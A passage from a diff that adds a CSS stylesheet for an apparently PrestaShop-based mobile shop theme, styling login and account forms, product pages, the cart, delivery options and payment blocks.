+filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999, Direction=NaN, Strength=10); +} +.blocRight.green{ + background:#b9da1a; + -moz-box-shadow:none; + -webkit-box-shadow: none; + -o-box-shadow: none; + box-shadow:none9; + filter:progid:none; +} +.blocRight.green h5{ + padding-top:10px; +} +.ui-body-c .blocRight .ui-link{ + color:#000000; +} +.blocRight div{ + padding:20px; + font-size:20px; + line-height:40px; +} +.blocRight.green div{ + text-align:center; + background:#b9da1a; + padding:0 20px 40px; +} +body form.std .submit.fleche_off .ui-submit{ + margin: 0 0 0 20px +} +body form.std .submit.fleche_off .ui-btn .ui-btn-inner{ + background:none; + padding:0 20px; +} +body #diagnostic .formulaire p.titre{ + padding:0 0 0 24px; +} +body #diagnostic .formulaire{ + padding: 20px 0 20px 50px; +} +body #diagnostic form.std .radio, +body #diagnostic form.std .select/*, body form.std .text*/{ + min-height:50px; + +} +body #diagnostic .diagnosticSteps{ + padding:0; +} +body #diagnostic .tiroir h3{ + width:auto; +} +body #diagnostic table.produits td.col3 h4{ + margin:0; +} +body #diagnostic .type-interior .tiroir div.texte{ +padding:20px ; +} +table.produits td.col3 h4 a, table.produits td.col3 h4 { + color: #000000 !important; +} +body #diagnostic form.std .submit.submitAlone , +body #diagnostic form.std .submit.submitAlone .ui-btn, +body #diagnostic form.std .submit.submitAlone .ui-btn .ui-btn-inner{ + line-height:29px; + height:31px; + font-size:18px; +} +body #diagnostic form.std .submit.submitAlone .ui-btn{ + margin:0 0 30px; +} + + + +body #diagnostic .diagnosticSteps{display:table;height:64px;line-height:64px;width:100%;margin:0 0 20px;} +/*body #diagnostic .diagnosticSteps.step1{background-position:0 right;} +body #diagnostic .diagnosticSteps.step1{background-position:0 right;} +body #diagnostic .diagnosticSteps.step2{background-position:0 -64px;} +body #diagnostic .diagnosticSteps.step3{background-position:0 -84px;} +body #diagnostic .diagnosticSteps.step4{background-position:0 -126px;} +body #diagnostic .diagnosticSteps.step5{background-position:0 -168px;} +body #diagnostic .diagnosticSteps.step6{background-position:0 -120px;}*/ +body #diagnostic .diagnosticSteps li{display:table-cell;list-style:none;margin:0;padding:0;} +body #diagnostic .diagnosticSteps li.selected{font-size:10px;} + +body #diagnostic .diagnosticSteps li a{text-decoration:none;display:block;height:64px;line-height:20px;font-size:10px;color:#000000;text-align:left;font-family:Times New Roman;text-transform:uppercase;padding:0 15px 0 4px;} + +body #diagnostic .diagnosticSteps li.item1{padding:0;} +body #diagnostic .diagnosticSteps li a{background:url('../img/diagnosticSteps.png') no-repeat right 0 ;} +body #diagnostic .diagnosticSteps li.selected a{background:url('../img/diagnosticSteps.png') no-repeat right -64px;} + +body #diagnostic .diagnosticSteps li.item6 a{background:url('../img/diagnosticSteps.png') no-repeat right -259px;padding:0px 16px 0 8px;} +body #diagnostic .diagnosticSteps li.item6.selected a{background:url('../img/diagnosticSteps.png') no-repeat right -322px;padding:0px 16px 0 8px} + + +body #diagnostic .diagnosticSteps li.selected{font-size:10px;} +body #diagnostic .diagnosticSteps li.selected a{font-size:10px;padding:0px 16px 0 8px} + +body #diagnostic .diagnosticSteps.step2 li.item1, +body #diagnostic .diagnosticSteps.step3 li.item2, +body #diagnostic .diagnosticSteps.step4 li.item3, +body #diagnostic .diagnosticSteps.step5 li.item4, +body #diagnostic .diagnosticSteps.step6 li.item5{padding:0 20px 0 0;background:url('../img/diagnosticSteps.png') no-repeat right -193px; } +body #diagnostic .diagnosticSteps.step2 li.item1 a, +body #diagnostic .diagnosticSteps.step3 li.item2 a, +body #diagnostic .diagnosticSteps.step4 li.item3 a, +body #diagnostic .diagnosticSteps.step5 li.item4 a, +body #diagnostic .diagnosticSteps.step6 li.item5 a{padding:0px 16px 0 8px;background-position:-20px 0;} + +body #diagnostic .diagnosticSteps li.item6 a, +body #diagnostic .diagnosticSteps li.item4 a, +body #diagnostic .diagnosticSteps li.item3 a{ + /*padding-top:10px; + height:54px;*/ +} + + + +#authentication .borderGreen form{ + margin:0 0 40px; + float:none; +} +#authentication fieldset{ + background:#fafafa; + border:1px solid #e5e5e5; + text-align:left; +} +#authentication fieldset h3{ + font-size:30px; + text-align:left; + font-family:Times New roman; + font-weight:normal; + padding:0 30px; + +} +#authentication fieldset input{ + text-align:left; +} +#authentication #login_form div.ui-input-text{ + float:left; + margin:0 69px; +} +#authentication #login_form .lost_password{ + padding:0 69px; + text-align:right; + font-size:15px; + color:#91ab14; +} +#authentication #login_form .lost_password a{ + font-size:15px; + color:#91ab14; + text-decoration:underline +} +#authentication #login_form .submit{ + padding:20px 69px; + height:47px; +} +#authentication #create-account_form h3{ + margin-bottom:0; +} +#authentication #create-account_form p{ + padding:0 30px 0px 30px; + font-size:16px; + line-height:30px; +} +#identity .submit, +#authentication #create-account_form .submit{ + padding:0px 30px 20px; + height:47px; +} +body #identity form.std .radio .ui-radio, +body #authentication form.std .account_creation .radio .ui-radio{ + float:left; + width:auto; + clear:none; +} +body #identity form.std .radio .ui-radio label, +body #authentication form.std .account_creation .radio .ui-radio label{ + width:auto; + margin:0 10px 0 0; +} +body .required sup{ + color:#000000; +} +body #identity form.std .select, +body #identity form.std .text, +body #authentication form.std .select, +body #authentication form.std .text{clear:both;} +body #identity form.std label.ui-input-text, +body #authentication form.std label.ui-input-text { + width: 140px; +} +body #identity form.std .naissance label.ui-select, +body #authentication form.std .naissance label.ui-select { + line-height: 20px !important; + padding: 0; + width: 143px; +} +body form.std .checkbox .ui-btn{ + float:left; + width:auto; + text-transform:none; +} +body form.std .checkbox .ui-btn .ui-btn-inner{ + padding-left:50px; + min-height:32px; +} +#my-account .myaccount_lnk_list{ + margin:0; + padding:0; +} +body #my-account .myaccount_lnk_list li{ + width:100%; + height:260px; + margin:26px 0 0; +} +body #my-account .myaccount_lnk_list li a{ + height:120px; + background: url("../img/flecheMyAccount.png") no-repeat scroll center 160px #000000; + font-size: 25px; + line-height: 30px; + padding: 70px; + text-align: center; + text-transform: uppercase; +} +.ui-disabled{ + background:#E8EBF0; + opacity:1; + filter:alpha(opacity=100); +} +.ui-disabled input{ + background:#E8EBF0!important; + color:#808080; +} +body form.std .submit.fleche_left .ui-btn .ui-btn-inner{ + background: url("../img/fleche_left.png") no-repeat scroll 0 0 transparent; + padding: 0 25px 0 40px; + width: auto; +} +body form.std .submit.fleche_plus .ui-btn .ui-btn-inner{ + background: url("../img/fleche_plus.png") no-repeat scroll 0 0 transparent; + padding: 0 25px 0 40px; + width: auto; +} + +body form.std .submit.fleche_plus .ui-link.button, +.ui-body-c .ui-link.button.back { + color: #000000; + float:left; + font-weight: normal; + height: 44px; + line-height: 44px; + padding:0px; + text-transform: uppercase; + width: auto; + background: linear-gradient(#B9DA1A, #B9DA1A) repeat scroll 0 0 #A9C717 ; + + background:#B9DA1A; + background-image:-webkit-gradient(linear,left top,left bottom,from( #B9DA1A ),to( #A9C717 )); + background-image:-webkit-linear-gradient( #B9DA1A,#A9C717 ); + background-image:-moz-linear-gradient( #B9DA1A,#A9C717 ); + background-image:-ms-linear-gradient( #B9DA1A,#A9C717 ); + background-image:-o-linear-gradient( #B9DA1A,#A9C717 ); + background-image:linear-gradient( #B9DA1A,#A9C717 ) + + + border: 1px solid #A9C717; + border-radius: 3px; + -webkit-border-radius:3px; + border-radius:3px; +} + +body form.std .submit.fleche_plus .ui-link.button span, +.ui-body-c .ui-link.button.back span{ + background: url("../img/fleche_left.png") no-repeat scroll 0 0 transparent; + height: 44px; + line-height: 44px; + display:block; + padding: 0 25px 0 40px; + color:#000000; +} +body form.std .submit.fleche_plus .ui-link.button span{ + background: url("../img/fleche_plus.png") no-repeat scroll 0 0 transparent; +} + + +body #address h2, +body #addresses h2, +body #identity h2{ + color:#8daa01; + font-size:18px; + height:40px; + margin:0; + font-weight:normal; +} +body #address .addresses h3, +body #addresses .addresses h3{ + font-size:20px; +} +body #address .addresses h3 a.btRight, +body #addresses .addresses h3 a.btRight{ + font-size:16px; + line-height:30px; + height:30px; + margin:-4px 0 0 10px; + text-transform:uppercase; +} +body #addresses .addresses ul{ + list-style:none; + font-size:18px; + height:auto!important; +} +body #addresses .addresses ul li{ + list-style:none; + font-size:18px; + line-height:30px; +} + +body #address form.std fieldset .radio span, +body #address form.std fieldset .textarea label, +body #address form.std fieldset .select label, +body #address form.std fieldset .text label { + width: 140px; +} + + +/* table *************************************************************************************** */ +table.std, +table.table_block { + margin-bottom:20px; + width:100%; + border:0; + background:white; + border-collapse:inherit +} +table.std th, +table.table_block th { + padding:12px 20px; + line-height:16px; + font-size:12px; + color:#000000; + font-weight:bold; + text-transform:uppercase; + background:#b9da1a; + border:1px solid #9dba16; + border-left:0; +} +table.std th:first-child, +table.table_block th:first-child{ + border:1px solid #9dba16; +} +table.std tr.alternate_item, +table.table_block tr.alternate_item {background-color: #f3f3f3} +table.std td, +table.table_block td { + padding:12px 20px; + font-size:12px; + vertical-align:top; + color:#000000; + border:1px solid #dddddd; + border-top:0; + border-left:0; +} +table.std td:first-child, +table.table_block td:first-child{ + border-left:1px solid #dddddd; +} +table.std td a{ + color:#000000; +} +#history .type-interior .borderGreen { + padding: 30px 14px; + width: auto; +} +#history .type-interior .borderGreen a{ + color:#000000; +} +.history_price{white-space:nowrap;} + +#history .type-interior .title_block { + margin:20px 0; + padding:15px 20px; + border:1px solid #dddddd; +} +#history .type-interior .title_block input { + display:none; +} + +#history #returnOrderMessage .textarea textarea, +#history #sendOrderMessage .textarea textarea { + width:100%; + border:1px solid #999 +} + +#history .order_qte_input{display:none} +#history .adresses_bloc{ + clear:none; + float:left; + width:50%; + margin:0; +} +#history .adresses_bloc .address_title{ + background:#B9DA1A; + border:1px solid #9DBA16; + border-right:0; + border-bottom:0; + line-height: 16px; + color: #000000; + font-size: 12px; + font-weight: bold; + line-height: 16px; + padding: 12px 20px; + text-transform: uppercase; + text-align: left; + margin:0; +} +#history .adresses_bloc .address_title.alternate_item{ + border:1px solid #9DBA16; + border-left:0; +} +#history .adresses_bloc ul{ + padding:12px 20px; + border:1px solid #dddddd; + border-right:0; + margin:0 0 20px; +} +#history .adresses_bloc .address_title.alternate_item{ + border:1px solid #dddddd; + border-left:0; +} +#history .adresses_bloc ul li{ + padding:0; + line-height: 16px; + font-size: 12px; + color: #000000; + list-style:none; + padding:0; +} + +#history .adresses_bloc ul li .address_firstname, +#history .adresses_bloc ul li .address_lastname{ + font-weight:bold; +} + +.noborder{ + border-left:0!important; + border-top:0!important; + border-bottom:0!important; +} + +#content.product h2{ + color: #999999; + font-size: 16px; + line-height:20px; + font-weight: normal; + padding: 0 0 8px; +} +#content.product a.productFlecheVerte { + background: url("../img/productFlecheVerte.png") no-repeat scroll 0 center transparent; + color: #000000; + line-height: 20px; + padding: 0 0 0 10px; + font-size:14px; + font-weight:normal; +} +#content.product #image-block{text-align:center; padding-bottom: 60px;} +#content.product #view_full_size{ + position:relative; + width:286px; + height:399px; + display:block; + margin:0 auto; +} +#content.product #view_full_size .span_link{ + position:absolute; + bottom:30px; + right:20px; +} +#content.product .submit.fleche_off .ui-btn-inner{ + font-size:20px; + font-family:Arial,Sans-Serif; +} +#content.product #add_to_cart{ + float:right; + height:44px; +} +#content.order .cart_quantity_button, +#content.product #quantity_wanted_p{ + float:left; + line-height:48px; + height:48px; + width:92px; + position:relative; + background:url('../img/qtyWanted.jpg') no-repeat 0 0; +} + +#content.order .cart_quantity_button .ui-input-text, +#content.product #quantity_wanted_p .ui-input-text{ + float:left; + width:auto; + line-height:48px; + height:48px; + background:none; + border:0; + box-shadow:none; +} +#content.order .cart_quantity_button .cart_quantity_input, +#content.product #quantity_wanted_p #quantity_wanted{ + background:none; + line-height:48px; + height:48px; + border:0!important; + font-size:20px; +} +#content.product #quantity_wanted_p #quantity_wanted{ + padding:0; + text-align:center; +} +#content.product #quantity_wanted_p .less, +#content.product #quantity_wanted_p .more{ + background:none; + left:73px; +} +#content.product #quantity_wanted_p .less{ + top:27px; +} +#content.product .content_prices{ + float:left; + line-height:48px; + height:48px; + font-size:25px; + width:130px; + text-align:right; +} +#content.product .content_prices p{ + float:none; + text-align:right; + display:block; + font-size:25px; + line-height:48px; + height:48px; + margin:0; +} +#content.product .type-interior .tiroir div.texte p{ + color:#666666; + font-size:18px; + line-height:30px; +} +#content.product .type-interior .tiroir div.texte p strong, +#content.product .type-interior .tiroir div.texte p b{ + color:#000000; +} +#content.product .tiroir div.texte a.ui-link, #content.product .tiroir div.texte a{ + color:#92AF06; + +} + +/* module productcomments ********************************************************************** */ +.rating { + clear: both; + display: block; + margin: 2em; + cursor: pointer; +} +.rating:after { + content: '.'; + display: block; + height: 0; + width: 0; + clear: both; + visibility: hidden +} +.cancel, .star { + overflow: hidden; + float: left; + margin:0 1px 0 0; + width: 16px; + height: 16px; + text-indent: -999em; + cursor: pointer +} +.cancel, .cancel a { background: url(../../../../modules/productcomments/img/delete.gif) no-repeat 0 -16px !important } +.star, .star a { background: url(../../../../modules/productcomments/img/star.gif) no-repeat 0 0 } +.cancel a, .star a { + display: block; + width: 100%; + height: 100%; + background-position: 0 0 +} +div.star_on a { background-position: 0 -16px } +div.star_hover a, div.star a:hover { background-position: 0 -32px } + +.star { + position: relative; + top:2px; + float: left; + height: 12px; + width: 12px; + overflow: hidden; + text-indent: -999em; + cursor: pointer +} +/* ************************************************************************************************ + addons comments products +************************************************************************************************ */ +form#sendComment fieldset{ + padding:10px; + border:1px solid #ccc; + background:#eee +} +form#sendComment h3 {font-size:14px;} +#new_comment_form p.text { + margin-bottom: 0; + padding-bottom: 0; +} +#sendComment p.text label, +#sendComment p.textarea label { + display: block; + margin: 12px 0 4px; + font-weight: bold; + font-size: 12px; +} +#sendComment p.text input { + padding: 0 5px; + height: 28px; + width: 498px; + border: 1px solid #ccc; + background: url(../img/bg_input.png) repeat-x 0 0 #fff; +} +#sendComment p.textarea textarea { + height:80px; + width:508px; + border:1px solid #ccc; +} +#sendComment p.submit { + padding:0; + text-align:right +} + +#sendComment p.closeform { + float:right; + padding:0; + height:12px; + width:12px; + text-indent:-5000px; + background:url(../img/icon/delete.gif) no-repeat 0 0 +} + +.star { + position: relative; + top:2px; + float: left; + height: 12px; + width: 12px; + overflow: hidden; + text-indent: -999em; + cursor: pointer +} +.star, .star a { background: url(../../img/star.png) no-repeat 0 0 } +div.star_on a { background-position: 0 bottom } +div.star_hover a, div.star a:hover { background-position: 0 bottom } + +.new_comment_form_content div.select{ + clear:both; +} +body #product_comments_block_tab { + display: block; + margin: 11px 0 20px; +} +body form.std .new_comment_form_content div.select .days{ + float:right; + width:388px; + margin:0; + height:70px; +} +.new_comment_form_content div.text{ + height:70px; + clear:both; +} +.new_comment_form_content div.select .days .ui-btn{ + width:388px; +} +.new_comment_form_content div.select .days select{ + width:347px; +} +#content.product .comment .colonne2 { + width: 346px; +} +#content.product .comments{ + border-bottom:1px solid #D9D9D9 ; +} +.floatRight{float:right;} +.floatLeft{float:left;} + +#order_step{ + padding:0; + margin:0; + height:189px; + width:558px; + clear:both; + display:block; + background:url('../img/step1.png') no-repeat 0 0; +} +#order_step.step2{ + background:url('../img/step2.png') no-repeat 0 0; +} +#order_step.step3{ + background:url('../img/step3.png') no-repeat 0 0; +} +#order_step li{ + width:558px; + height:46px; + line-height:46px; + margin: 0 0 17px; + list-style:none; + color:#000000; + font-size:23px; + font-family:Times New roman; +} +#order_step li span, +#order_step li a{ + height:46px; + line-height:46px; + color:#000000; + display:block; + font-size:23px; + padding:0 30px; + font-family:Times New roman; +} +#order p.green{ + color:#8daa01; + font-size:14px; +} +#order-detail-content{ + padding:20px 0; +} +#order-detail-content table.std td:first-child, +#order-detail-content table.std td{ + border:0; + border-bottom:1px solid #cccccc; + padding:20px 0; +} +#order-detail-content table.std td .cart_product{ + float:left; + width:130px; + height:150px; +} +#order-detail-content table.std td div.cart_description{ + float:left; + width:420px; +} +#order-detail-content table.std td div.cart_quantity{ + float:left; + width:92px; + height:50px; +} +#order-detail-content table.std td div.cart_quantity .ui-input-text{ + float:left; + margin:0; + -moz-border-radius:1px; + -webkit-border-radius:1px; + border-radius:1px; + color:#000000; +} +#order-detail-content table.std td div.cart_quantity .ui-input-text input{ + padding:0; + text-align:center; +} + +#order-detail-content table.std td div.cart_quantity{ + position:relative; + height:29px; + line-height:29px; + float:left; + width:63px; + margin:0 0 12px; +} +#order-detail-content table.std td div.cart_quantity input{ + border:0; + background:url('../../img/qtyWanted.jpg') no-repeat 0 0; + width:39px; + height:29px; + line-height:29px; + text-align:center; + color:#000000; + font-size:14px; +} +#order-detail-content table.std td div.cart_quantity .more, +#order-detail-content table.std td div.cart_quantity .less{ + position:absolute; + right:0; + top:0; + float:left; + color:#000000; + line-height:14px; + font-size:20px; + width:14px; + height:14px; + padding:4px 4px 0; + background:none; + text-decoration:none; +} +#order-detail-content table.std td div.cart_quantity .less{ + background:none; + top:27px; +} + +#order-detail-content table.std td div.cart_delete{ + float:left; + margin:0 0 0 60px; + width:134px; + background:#f0f0f0; + height:30px;text-align:center; +} +#order-detail-content table.std td div.cart_delete{ + display:block; + line-height:30px; + height:30px; + font-size:16px; + color:#000000; +} +#order-detail-content table.std td div.cart_total{ + float:right; + width:90px; + font-size:25px; + text-align:right; + white-space:nowrap; +} +#order-detail-content table.std td p{ + margin:0; + padding:0 0 10px; +} +#order-detail-content table.std td p.s_title_block a{ + font-size:20px; + color:#000000; +} +#order-detail-content table.std td p.descr_short a{ + font-size:16px; + color:#999999; +} +body #order-detail-content .cart_total_price td{ + font-size:20px; + padding-bottom:0!important; + color:#000000; + border:0!important; +} +body #order-detail-content table.std .cart_total_price td:first-child{ + padding-left:130px; +} +body #order-detail-content table.std .free_ship td{ + font-size:14px; + padding-top:0!important; + color:#999999; + text-align:left; + padding-left:130px!important; + font-weight:normal; + border:0!important; +} +body form#voucher.std{padding-left:30px;} +body form#voucher.std label.ui-input-text{ + width:100%; + margin:0 0 10px; +} +body form#voucher.std .submit, +body form#voucher.std .text{ + float:left; + margin:0 0px; + width:236px; +} +body form#voucher.std .submit{ + width:258px; +} +body form#voucher.std .text div{ + width:236px; +} +body form#voucher.std .text div input{ + width:216px; + background:url('../img/inputText236.png') no-repeat 0 0; +} +body form#voucher.std .submit .ui-btn input, +body form#voucher.std .submit .ui-btn span, +body form#voucher.std .submit .ui-btn{ + line-height:34px; + height:34px; + margin:0; + -moz-border-radius:0; + -webkit-border-radius:0; + border-radius:0; +} +body form#voucher.std .submit .ui-btn{ + width:100%; + text-align:center; + padding:0; +} + +.delivery_options .ui-radio label{ + border:1px solid #e6e6e6; + height:100px; + margin:10px 0; +} +.delivery_options .ui-radio label .ui-btn-inner{ + padding:20px 10px 20px 40px; + height:60px; +} +.delivery_options .ui-radio label .ui-btn-inner table{ + height:60px; + margin:0; + padding:0; + width:100%; + vertical-align:middle; +} +.modes2 .delivery_options .ui-radio label{ + height:150px; +} +.modes2 .delivery_options .ui-radio label .ui-btn-inner, +.modes2 .delivery_options .ui-radio label .ui-btn-inner table, +.modes2 .delivery_options .ui-radio label .ui-btn-inner td{ + height:110px +} +.modes2 .delivery_options .ui-radio .ui-icon { + top: 65px; +} +.delivery_options .ui-radio label .ui-btn-inner td{ + text-align:center; + vertical-align:middle; + padding:0; + font-size:14px; + font-weight:normal; + height:60px; + line-height:22px; +} +.delivery_options .ui-radio label .ui-btn-inner td .delivery_option_delay{ + color:#8daa01; +} +.delivery_options .ui-radio label .ui-btn-inner td .delivery_option_price{ + white-space:nowrap; +} +.delivery_options .ui-radio label .ui-btn-inner td:first-child{ + width:210px; + padding:0 0 0 20px; + font-size:18px; + font-weight:bold; + line-height:24px; + text-align:left; +} +.modes2 .delivery_options .ui-radio label .ui-btn-inner td{ + font-size:18px; + font-weight:bold; + line-height:24px; + text-align:center; + width:auto; +} +.modes2 .delivery_options .ui-radio label .ui-btn-inner td .delivery_option_title{ + font-size:20px; +} +.delivery_options .ui-radio .ui-icon{ + left: 20px; + top: 42px; +} +.delivery_options .ui-radio .ui-radio-on{ + background:#e6e6e6; +} +.delivery_options .ui-radio .ui-radio-off{ + background:radial-gradient(#ffffff, #F9F9F9) repeat scroll 0 0 #F9F9F9 +} +#order-detail-content table.std #cart_voucher{ + border:0!important; + padding-bottom:0!important; +} +#order-detail-content table.std #cart_voucher fieldset{ + margin:0; +} +#order-detail-content table.std #cart_voucher fieldset div.text{ + min-height:40px; +} +#modeDeLivraison p.grey6{ + color:#666666; + font-size:12px; + letter-spacing: -0.035em; + text-align: justify; +} +#modeDeLivraison p.grey6 a{ + color:#666666; + font-size:14px; + text-decoration:underline; +} +#modeDeLivraison{ + padding: 0 0 20px; + border-top:2px solid #000000; + border-bottom:2px solid #000000; + margin:0 0 30px; +} +#modeDeLivraison .carriers_list{ +} +#modeDeLivraison h2{ + font-size:25px; + border:0; + margin:0; + padding:30px 0 20px; + text-align:center; + font-weight:normal; +} +#echantillons{ + padding:0 0 30px; + border-bottom:2px solid #000000; + margin:0 0 10px; +} +#echantillons h2{ + border: 0 none; + font-size: 25px; + font-weight: normal; + letter-spacing: -0.03em; + margin: 0; + padding: 0 0 20px; + text-align: center; + text-transform: uppercase; + text-align:center; +} +#echantillons ul{ + margin:0; + padding:0; +} +#echantillons li{ + float:left; + width:166px; + height:160px; +} +#echantillons li label{ + float:left; + width:166px; + height:160px; + margin:0; + background: linear-gradient(#ffffff, #fdfdfd) repeat scroll 0 0 #fdfdfd; + border: 1px solid #ebebea; +} +#echantillons li{ + position:relative; +} +#echantillons li span.titreProduit{ + display:none; + background:url('../img/EchantillonTitreProduit.png') repeat 0 0; + width:100%; + height:100%; + min-height:160px; + position:absolute; + top:-10px; + left:0; + z-index:1; + color:#ffffff; + font-size:14px; + line-height:14px; + text-transform:uppercase; + vertical-align:middle; + font-weight:normal; +} +#echantillons li:hover span.titreProduit, +#echantillons li:focus span.titreProduit{ + display:block; +} +#echantillons li span.titreProduit td{ + height:160px; + padding:0 10px; + vertical-align:middle; + text-align:center; +} +#echantillons li label .ui-btn-inner{ + padding:10px 0; + width:166px; + height:140px; +} +#echantillons li label .ui-btn-inner .ui-btn-text{ + width:100%; + text-align:center; + float:left; + height: 140px; +} +#echantillons li label .ui-btn-inner .ui-icon{ + left: 120px; + top: 114px; + z-index:3; +} +#echantillons .ui-checkbox{ + +} +form .totalTTC{ + text-align:right; + font-weight:bold; + font-size:25px; + padding:0 0 40px; +} +.order-opc-leftColumn{ + padding:0 0 40px; +} +.bgf2f2f2{ + background:#f2f2f2; + padding:50px 0; + text-align:center; +} + + + +#paiements_securises .titre{ + padding:0 0 30px; + text-align:center; + font-size:35px; + font-weight:normal; + font-family:Times New Roman; + display:block; + color:#000000; +} + + + +.type-interior .order-opc-rightColumn .block{ + background:#fafafa; + border:1px solid #d9d9d9; + padding:20px 40px; + margin:0 0 40px; +} +.type-interior .order-opc-rightColumn .product_images, +.type-interior .order-opc-rightColumn .block_content{ + padding:0; + margin:0; +} +.type-interior .order-opc-rightColumn .block.products_block{ + background:#ffffff; + border:1px solid #d9d9d9; +} +.type-interior .order-opc-rightColumn .title_block{ + padding:0 0 10px; + margin:0; +} +.type-interior .order-opc-rightColumn .block.products_block .title_block{ + padding:0 0 13px; +} +.type-interior .order-opc-rightColumn .title_block, +.type-interior .order-opc-rightColumn .title_block a{ + background:none; + color:#000000; + display:block; + font-size:30px; + font-weight:bold; + font-family:Times New Roman; + text-transform:uppercase; +} +.type-interior .order-opc-rightColumn .block li{ + padding:0 0; + color:#000000; + list-style:none; + line-height:15px; + display:block; +} +.type-interior .order-opc-rightColumn .block li a{ + background:url('../img/etoileLi.png') no-repeat 0 center; + line-height:30px; + font-size:25px; + color:#000000; + padding:10px 0 10px 30px; + display:block; +} + +.type-interior .order-opc-rightColumn .block.products_block li{ + padding:30px 0; + line-height:30px; + list-style:none; + border-top:2px solid #dddddd; + background:none; + height:150px; + font-size:25px; + clear:both; + +} +.type-interior .order-opc-rightColumn .block.products_block li a{ + background:none; + padding:0; + font-size:20px; +} +.type-interior .order-opc-rightColumn .block.products_block li a.content_img{ + border:#e6e6e6; + float:left; + width:150px; + height:150px; + margin:0 30px 0 0; + padding:0; + text-align:center; + background:radial-gradient(#ffffff, #fefefe) repeat scroll 0 0 #fefefe; + border:1px solid #e6e6e6; + +} +.type-interior .order-opc-rightColumn .block.products_block li img{ + height:150px; +} +.type-interior .order-opc-rightColumn .block.products_block li a.button{ + background:#f0f0f0; + border:0; + font-size:20px; + line-height:40px; + height:40px; + padding:0 40px; + float:left; + margin:20px 0; + text-transform:uppercase; + width:auto; +} +.type-interior .order-opc-rightColumn .block.products_block li a.button:hover{ + background:#B9DA1A; +} +.type-interior .submitTop{ + float:right; +} +.type-interior .submitTop .button{ + float:right; + margin:0 0 0 10px; + line-height:36px; + height:36px; + font-size:13px; +} +.type-interior .submitTop input.button{ + padding-bottom:2px; +} +.type-interior .submitTop input.button, +.type-interior .submitTop .button:first-child{ + line-height:38px; + height:38px; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A!important +} + +/* address */ + +#content.address #left_column, +#content.addresses #left_column {display:none} +#content.addresses #center_column{} +#content.addresses #center_column h1, +#content.address #center_column h1 {margin-bottom:20px;border-bottom:1px solid black;padding:10px 0 20px 0 ;} +#content.address #center_column h2, +#content.addresses #center_column h2 {color:#8daa01;font-size:16px;font-weight:normal;font-family:Arial,Sans-serif;} +#content.address.addresses, +#content.addresses .addresses{ + color:#000000; + width:468px; + font-size:12Px; +} +#content.address #center_column fieldset{margin:0;} +#content.address .addresses h3, +#content.addresses .addresses h3 { + font-weight:normal; + font-size:13px; + border-bottom:1px solid #cccccc; + padding:20px 0; + margin:0 0 20px; + font-size:12px; + font-weight:bold; + text-transform:uppercase; + color:#000000; +} +#content.address .addresses h3 a.btRight, +#content.addresses .addresses h3 a.btRight{ + float:right; + background:#f0f0f0; + color:#000000; + padding:0 10px; + line-height:19px; + height:19px; + font-size:11Px; + margin:0 0 0 10px; + font-size:11px; + font-weight:normal; + text-transform:none; +} +#content.addresses .addresses ul{ + padding:0 0 20px; + +} + + +#content.address p { + padding-bottom:10px; +} +#content.address form.std fieldset { +} +#content.address form.std fieldset p.radio span, +#content.address form.std fieldset p.textarea label, +#content.address form.std fieldset p.select label, +#content.address form.std fieldset p.text label{ + width:296px; + text-align:left; + float:left; + width:202px; +} +#content.address form.std fieldset p.password input, +#content.address form.std fieldset p.text input{ + margin:4px 0 10px; +} +#content.address p.text small{ + float:left; + margin:-12px 0 0; + width:489px; + font-size:11Px; + color:#b2b2b2; + font-weight:normal; + font-style:italic; +} +#content.address form.std fieldset p sup{ + vertical-align:5px; +} +#content.address form.std fieldset p.text a.savoir_plus{ + float:right; + color:#000000; + text-decoration:underline; + font-weight:bold; + font-style:normal; + font-size:11px +} + + +#content.address form.std p.text{ + color: #000000; + font-size: 13px; + line-height: 42px; + text-align: left; +} +#content.address form.std fieldset p.bold{ + font-weight:bold; +} +#content.address form.std fieldset p.checkbox{ + padding:0 0 10px; + font-size:13px; +} +#content.address form.std p.submit{ + padding:10px 0 30px; +} + +#content.address form.std p.submit{ + padding-left:0; +} + +#content.order .addresses .select{ + margin-left:80px; + min-height:0; +} +#content.order .addresses .select .ui-select .ui-btn-text{ + text-align:left; +} +#content.order .ui-body-c .submit .ui-link.button.simple{ + padding: 0 20px; +} +#content.order .submitGrey{ + padding:20px 0 0px; + height:37px; + margin:0 0 30px; +} +#content.order .submitGrey a{ + float:left; + width:340px; + height:35px; + color:#000000; + background:#f0f0f0; + text-align:center; + border:0; + padding:0; +} +#content.order .submitGrey a.edit_delivery{ + width:200px; + float:right; +} +#content.order_address ul.address{ + background:#fafafa; + padding:20px; + height:auto!important; +} +#content.order_address ul.address li{ + list-style:none; + font-size:18px; +} + +#content.order_address ul.address li.address_title, +#content.order_address ul.address li.address_update{ + display:none; +} + +#ordermsg{ + display:block; + background:#f0f0f0 url('../../img/messagePersonnel.jpg') no-repeat center center; + width:400px; + height:139px; + padding:123px 104px 70px 106px; + margin:0 0 0 -43px; +} +#ordermsg .textarea textarea{ + width:410px; + height:119px; + padding:10px; + margin:0; + color:#000000; +} +#ordermsg p {padding:0} +#ordermsg p.txt { + display:none; +} +/*#ordermsg .textarea {float:right}*/ +#ordermsg .textarea textarea { + width:432px; + height:138px; + padding:10px; + border:0; + color:#000000; + font-size:12px; + background:none; +} + + +#HOOK_PAYMENT{ + float:left; + width:552px; +} +#HOOK_PAYMENT .payment_module{ + float:left; + width:511px; + height:319px; + padding:20px; + text-align:center; + margin:0 0 20px; + background:radial-gradient(#ffffff, #fbfbfb) repeat scroll 0 0 #fefefe; + border:1px solid #ebebea; + border-radius: 1px; + -webkit-border-radius:1px; + border-radius:1px; +} +#HOOK_PAYMENT .payment_module strong{ + font-size:30px; + font-weight:bold; + padding:30px 0; + display:block; + line-height:24px; +} +#HOOK_PAYMENT .payment_module a{ + display:block; + padding:0 0 26px; +} +#HOOK_PAYMENT .payment_module a.button{ + float:left; + padding:0; + width: auto; + line-height:44px; + height:44px; + margin:0 0 30px 102px; + text-transform:uppercase; + font-size:21px; + font-family:Times New Roman; + background: linear-gradient(#B9DA1A, #B9DA1A) repeat scroll 0 0 #A9C717 ; + border: 1px solid #A9C717; + border-radius: 1px; + -webkit-border-radius:1px; + border-radius:1px; +} +#HOOK_PAYMENT .payment_module a.button span{ + padding: 0 60px 0 40px; + background:url('../img/flecheSubmit.png') no-repeat right center; +} +#HOOK_PAYMENT .payment_module a.small{ + clear:both; + color:#999999; + font-size:14px; + display:block; + padding:0 20px; + line-height:20px; +} + +body .ui-input-text.ui-focus, +body .ui-input-search.ui-focus{ +box-shadow:none; +} +#content.order.step3 #order-detail-content{ + clear:both; + padding:30px 20px; + 